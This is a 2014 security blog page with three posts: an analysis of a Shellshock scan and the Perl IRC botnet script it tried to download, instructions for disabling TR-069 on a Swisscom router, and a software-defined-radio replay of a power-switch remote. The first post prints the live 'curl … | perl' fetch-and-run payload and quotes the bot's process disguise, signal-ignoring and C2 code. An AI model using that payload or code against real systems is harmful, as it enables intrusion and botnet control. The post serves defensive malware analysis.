Wednesday, November 5, 2014

Anatomy of a Perl IRC Bot Script

Did you check your webserver log files lately? And did you notice any requests with odd referers or user-agent strings with { :; }; in it? That's someone trying to exploit shellshock, a vulnerability in the Unix Bash shell disclosed in September 2014 which got a great deal of attention from the security community. I got excited to see that I too had been scanned, here's an example Apache log line:

212.68.61.199 - - [19/Oct/2014:18:25:08 +0000] "GET / HTTP/1.0" 200 353 
"() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" 
"() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"

The attacker is hoping that either the referrer or the user-agent string will be processed via a Bash variable (e.g. when using CGI), in which case a vulnerable Bash version would execute the commands following { :; }. From the given commands, a malicious script is to be downloaded from an anonymous location and executed with the Perl interpreter. The site hosting the script was probably compromised. Given the path 'bbs/skin/zero_vote/', it seems to be a website running an older version of the ZeroBoard CMS, which is known to have a number of security issues.

So let's have a look at that Perl script. You can find an integral copy here. First, a nicely formatted header gives us some information about the tool (DDoS Perl IrcBot v1.0/Stealth MultiFunctional IrcBot), its authors (DDoS Security Team) as well as the supported commands used to remote control the victim. Next, a set of variables is defined to customise the script. Here are the most interesting ones:

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  "/usr/sbin/httpd -k start -DSSL",
  "/usr/sbin/httpd",
  "/usr/sbin/sshd -i",
  "/usr/sbin/sshd",
  "/usr/sbin/sshd -D",
  "/usr/sbin/apache2 -k start",
  "/sbin/syslogd",
  "/sbin/klogd -c 1 -x -x",
  "/usr/sbin/acpid",
  "/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
The variable $process stores the process name the script will use when running. The name is picked at random from a list of processes commonly used on Unix platforms. We'll see later how the process name is installed.

my @rversion = ("\001VERSION - unknown command.\001",
    "\001mIRC v5.91 K.Mardam-Bey\001",
    "\001mIRC v6.2 Khaled Mardam-Bey\001",
    "\001mIRC v6.03 Khaled Mardam-Bey\001",
    "\001mIRC v6.14 Khaled Mardam-Bey\001",
    "\001mIRC v6.15 Khaled Mardam-Bey\001",
    "\001mIRC v6.16 Khaled Mardam-Bey\001",
    "\001mIRC v6.17 Khaled Mardam-Bey\001",
    "\001mIRC v6.21 Khaled Mardam-Bey\001",
    "\001mIRC v6.31 Khaled Mardam-Bey\001",
    "\001mIRC v7.15 Khaled Mardam-Bey\001");
my $vers = $rversion[rand scalar @rversion];
The variable $vers is used to disguise the IRC bot as a version of mIRC, a popular IRC client on Windows.

my @rircname = ("abbore","ably","abyss",...,"zwsiewale");
my $ircname = $rircname[rand scalar @rircname];
The $ircname is picked at random from a large list of nicknames.

$server = 'fflyy.su' unless $server;
my $port = '8080';
These are the IRC server and port the bot is meant to connect to. Note: .su is the top level domain for Soviet Union and googling "fflyy.su" returns some interesting links, see for yourself.

my @admins = ("M","st0n3d","x00");
my @hostauth = ("lolhome");
my @channels = ("#mperl");
This specifies that the bot should connect to IRC channel #mperl and accept commands only from users behind the nicknames M, st0n3d and x00. Additionally, their hostname is also verified (lolhome), although this is also spoofable.

At first, the bot will install handlers for POSIX signals to suppress termination for example with ctrl-c:
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

This code is used to change the process name the script will run with:
$server="$ARGV[0]" if $ARGV[0];
$0="$process"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Can't fork in background: $!" unless defined($pid);
It rewrites the argument vector of the current process with the new process name and forks such that the child process is run under that name.

This is the main loop of the script, that connects to the given IRC server and reads the server's output:
my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line"); 
        } else {
      $line_temp = $line;
        }
      }
    }
  }
}
Interestingly enough, the script uses several portuguese identifiers for variables and function names. IRC is a simple text-based, line-orientated protocol, which makes it a good choice for command&control communication with the bots. In the script, the IRC commands are parsed mainly using regular expressions:
sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {

    }
 if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
    if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }
  if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1");
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  nick("$meunick-".int rand(9999));
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  $meunick = $2;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  foreach my $canal (@channels) {
 sendraw("MODE $nick +x");
    sendraw("JOIN $canal");
 sendraw("PRIVMSG $canal :  4,1 [M is the ShIT]   9,1Watcha guys want to do ...   ");
}
}
}

The rest of the script consists of the implementation of all bot commands, which feature port scanning, tcp/udp/http flooding, mailing, remote shell among others... An effective little hacker's toolkit. For me, it was a very informative analysis that taught me some advanced Perl-foo. I hope you also enjoyed.

Thursday, June 5, 2014

How to Prevent your ISP from Controlling your SOHO Router (TR-069)

I freaked out a bit a lot when learning about TR-069 from Shahar Tal's great talk at this year's area41 security conference. Basically, if your router features this interface, your ISP can do all sorts of things like read and alter the configuration but also upgrade the firmware without your knowing.
Being a Swisscom client, I use a Centro Piccolo aka Motorola Netopia 7640 VDSL Modem. I knew that there had to be some kind of remote management, e.g. since resetting the router password is done via the the Swisscom customer website instead of directly on the router's administration interface. Then, there is no obvious configuration option refering to TR-069 nor CWMP in the admin interface. But: you can access extended settings by telneting the router. Here's the menu options you have to select to disable CWMP:

$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to dsldevice.home.
Escape character is '^]'.

login: admin
Password: **********

Terminal shell v1.0
Copyright (C) 2011 Motorola, Inc.  All rights reserved.
Motorola Netopia Model 7640-47 Annex A VDSL2 IAD
Running Netopia SOC OS version 9.0.10 (build h2d8)
ADSL/VDSL capable
(admin completed login: Admin account with read/write access.)

Centro_piccolo> configure

Config Mode v1.3
Centro_piccolo (top)>> management cwmp
Centro_piccolo (management cwmp)>> view
    cwmp
      enable on
      acs-url "https://rms.bluewin.ch:8443/cwmpWeb/CPEMgt"
      acs-username "********************************"
      acs-password "********************************"
Centro_piccolo (management cwmp)>> enable
Centro_piccolo (management cwmp enable)>> set
      enable (on) [ off | on ]: off

Here you can also see the URL of the ACS (the ISP's configuration server). Save before quitting, you should be then safe from any snooping from your ISP. Oh, and while you're at it, try the undocumented magic command in the telnet prompt ;-)

Saturday, February 1, 2014

Experimenting with Software Defined Radio

In this blog post, I will describe my first project experimenting with a software defined radio (SDR). For those of you new to this technology, think of it as an RF frontend to your computer, which performs most signal processing from digitized radio waves in software. Hence, virtually any radio communication system can be implemented given capable software. There is already a plethora of projects for a variety of RF applications related to industry or consumer standards. The CGRAN maintains a list of projects, have a look at it to get an idea of what's all possible.

The test hardware

So, to become acquainted with the SDR, I chose to analyze this simple RF controlled power switch system I found at my local supermarket. The package contains three radio controlled connectors with a pass through socket for the electrical appliance. The remote control individually switches the connectors on and off by pressing on the corresponding buttons. When switching a controller on and off, the clicking sound of a relay is clearly audible.
Power Switch System 1204380 3M from Steffen AG

Anatomy of the controller

The remote and the connectors are both configured via dip switches inside the enclosure. The address scheme comprises a 5 bit system code (positions 1 to 5 in the pictures below), commonly used by all devices. Also, a unit code (positions A-E) is assigned to each of the connectors to individually address them. Interestingly enough, position E is not provided on the remote, instead, there is a master on/off switch that addresses all units at once.
Dip switches for the selection of the system code (common to all devices)
and the unit code (individual to each connector)
On the back of the remote control, the model number and most interestingly, the operating frequency 433.92MHz are engraved on the enclosure. Within the enclosure, a PCB with a single IC labeled AZ08C20, P50 0322D. Unfortunately, I couldn't find any specification for this chip that would ease the task of analyzing the control signal. There are specifications publicly available for similar ICs that helped me grasp the encoding principle: for example Princeton Technologies PT2262 and PT2272, and Holtek HT12A and HT12E.
 
The remote control's IC:
AZ08C20 P50 0322D

Visualizing the signal

For this, I designed a GNURadio flowgraph. The source block provides the data from the SDR. Use either a UHD source for USRP devices from Ettus Research or else a OsmoSDR source for USB DVB-T dongles, BladeRF or HackRF. The data provided by the source is a stream of complex I/Q values, represented by pairs of 32bit floats. If you're not familiar with I/Q data, here are two excellent write-ups to learn about this data format and why it's used for SDRs. After reading this, you'll understand how the Complex to Mag^2 block is used to convert the complex I/Q samples into a real, scalar magnitude sample. The Threshold block is used to distinguish between HIGH and LOW states of the signal. Both real and discrete signals are input to the Scope Sink for the visusalization. The Wav File Sink is used to create a .wav file which can then be analyzed using common audio processing software such as Audacity.
GNURadio flowgraph used to visualize the signal

In the scope visusalization, we can see that the amplitude of the carrier frequency is modulated to form pulses of varying widths. This modulation scheme is called (binary) amplitude shift keying (ASK) or also sometimes On-Off-Keying (OOK). The encoding is a discretization of pulse width modulation (PWM), where pulses of different widths represent different information symbols. I determined the duration of the short (unit) pulse to be 533µs by measuring the number of samples across its width. The long pulse is twice as long: 2*533µs = 1.066ms. The blank between each pulse is of same duration as the unit. Effectively, each pulse starts after a period of 3*533µs = 1.6ms. Messages are continually sent in bursts of 25 pulse periods with a pause of 3.2ms inbetween, for a total of 128ms per message.

Replaying the signal (security implications)

Having recorded the signal as .wav file or as raw data, the flowgraph can be reversed to replay the messages. Choose the Wav File Source and connect it to your SDR sink (either UHD Sink or OsmoSDR Sink). This already suffices to trigger the switch. This indicates that there is no security whatsoever to protect the connectors from receiving messages not originating from the remote control. Also note that the number of possible different addresses (given by the combination of dip switch positions) is very low, 2^5 = 32, hence an attacker can very rapidly guess it by running through all possibilities.

Reverse-engineering

Assigning a short pulse to 0 and a long pulse to 1, I wrote down the different code patterns while pressing each button and systematically changing the dip switch positions. I could not identify every bit's meaning in these patterns, but I retrieved enough information to synthesize message which would actually trigger the switch. Here are some examples having all dip switches for the system code on HIGH:

                         DIPSW ????? ?????? B ?? EDCBA  ?
A         OFF            11111 00011 100101 0 00 00001 0
B         ON             11111 00011 100111 1 00 00010 0
B         OFF            11111 00011 101000 0 00 00010 0
C         ON             11111 00011 101001 1 00 00100 0
C         OFF            11111 00011 101010 0 00 00100 0
D         ON             11111 00011 101100 1 00 01000 0
D         OFF            11111 00011 101100 0 00 01000 0
Master    ON             11111 00011 101101 1 00 00000 0
Master    OFF            11111 00011 101110 0 00 00000 0


So obviously, the dip switches are reflected by the 5 first bits in the message. The 17th bit always correlates with the on (1) and off (0) button. Finally, bits 20-24 reflect the unit code. Concerning the remaining bits, I suspect bits 11-16 to be a counter and the rest to be padding.

Synthesizing the signal

After gathering all this information about the signal and the encoding, I decided to write a small GNURadio application with python to replicate the remote control in software by emitting the signal from the SDR. You can access the code here on github. The basic idea behind the modulator is to process the incoming stream of bits and converting them into I/Q samples. In order to describe the pulse train, I defined a intermediate 2-bit mapping according to following diagram, which will help you understand the code:
Intermediate 2-bit encoding of the pulse-widths

Using this mapping, a logical 0 is encoded with 01, a logical 1 is encoded with 10 and the pause between each burst is encoded with 00. Note that code 11 is never used. The GUI is designed to resemble the remote control's interface:
Application replicating
the remote control. Uses the
GNURadio framework

 That's it, I hope you enjoyed reading this. If you did, don't miss the flattr button ;-)